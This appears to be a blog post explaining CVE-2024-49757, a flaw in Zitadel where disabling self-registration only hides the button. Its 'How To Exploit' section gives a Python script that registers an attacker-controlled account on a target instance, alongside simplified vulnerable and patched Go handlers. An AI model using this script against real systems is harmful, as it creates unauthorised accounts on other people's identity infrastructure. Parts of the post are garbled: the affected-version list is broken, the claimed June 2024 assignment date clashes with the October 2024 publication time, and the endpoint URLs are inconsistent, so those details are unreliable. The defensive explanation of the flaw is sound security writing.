On June 6th, 2024, a new vulnerability was assigned CVE-2024-49757 affecting several versions of Zitadel, the popular open-source identity and access management software. Zitadel is trusted by many organizations to control user registration, login, and authentication. In certain versions prior to 2.64. (and patched releases for previous branches), users could register new accounts even when administrators believed self-registration was fully disabled.

In this article, we’ll break down what happened, see exactly how an attacker could exploit this vulnerability, look at the affected code, and discuss mitigation steps you should take.

What Is Zitadel?

Zitadel is an all-in-one identity infrastructure. It supports features like user self-registration, multi-factor authentication, and single sign-on (SSO) out of the box and is used both on-premises and as a cloud service.

The Vulnerability

Zitadel gives administrators an option called User Registration allowed. When this option is disabled, new users shouldn’t be able to create accounts themselves. In the affected versions, disabling this feature only *hid the registration button* on the login page. But the backend API endpoint for registration wasn’t protected by any check.

This means: if a user simply browsed directly to the registration URL, they could still register themselves.

Zitadel security team summarizes this as:

> “Disabling the _User Registration allowed_ setting only hid the button, but did not technically prohibit registration via a direct endpoint call.”

2.58.6 and earlier (patched in 2.58.7)

If you use Zitadel prior to these versions, you *must* upgrade.

What’s The Real-World Impact?

If you run Zitadel with open registration *disabled* (maybe because you want only admins to create users), an attacker can still create an account for themselves by directly visiting:

/ui/login/loginname

How To Exploit: Step-by-Step

Assume the Zitadel admin has disabled “User Registration allowed” in the admin UI. The registration button is gone. But the service is running a vulnerable version.

`

https://your-zitadel-instance.com/ui/login/loginname

Attacker submits the form and successfully registers an account.

- They can now authenticate, change passwords, and (depending on your permissions) access protected resources.

Here’s a simple exploit using requests in Python. Adapt the form fields as appropriate

import requests

REGISTRATION_URL = 'https://your-zitadel-instance.com/ui/login/register';
data = {
    "username": "attacker123",
    "email": "attacker@evil.com",
    "password": "SuperSecretP@ss!23"
}

session = requests.Session()
# Visit the URL to get any required tokens or cookies
session.get('https://your-zitadel-instance.com/ui/login/loginname')

# Post the registration data. (The real endpoint/fields may differ.)
resp = session.post(REGISTRATION_URL, data=data)

if "Account created" in resp.text:
    print("[+] Successfully registered attacker account!")
else:
    print("[-] Registration failed or was blocked")

Note: The real field names and anti-CSRF mechanisms may force you to tweak this example.

Vulnerable (simplified)

func RegisterUserHandler(w http.ResponseWriter, r *http.Request) {
    // registrationEnabled is not checked!
    // Instead, only the registration button in UI is hidden

    username := r.FormValue("username")
    // ...create user logic
}

Patched (simplified)

func RegisterUserHandler(w http.ResponseWriter, r *http.Request) {
    if !registrationEnabled() {
        http.Error(w, "Registration disabled", http.StatusForbidden)
        return
    }
    username := r.FormValue("username")
    // ...create user logic
}

The crucial missing check means any form post to the endpoint is accepted, even if registration is “disabled”.

No Workarounds!

From official Zitadel advisory:

> There are no known workarounds. Please upgrade to a fixed version.

References

- Zitadel Security Advisory: GHSA-5xrc-h73v-w596
- Official Zitadel GitHub
- NIST CVE Detail Page *(published soon)*

Conclusion

CVE-2024-49757 is a reminder that hiding UI elements is not the same as enforcing backend access controls. Zitadel users who rely on the “User Registration allowed” setting are vulnerable if they haven’t upgraded. Attackers need only to navigate to a hidden registration page to create accounts, even when the administrator believes this isn’t possible.

Upgrade now and verify your instance is protected.
Always rigorously test critical security features - don’t rely on the UI to do the job of backend checks.


Did you find this breakdown useful? Let me know if you want more “long read” explainers like this!

Timeline

Published on: 10/25/2024 15:15:18 UTC
Last modified on: 10/28/2024 13:58:09 UTC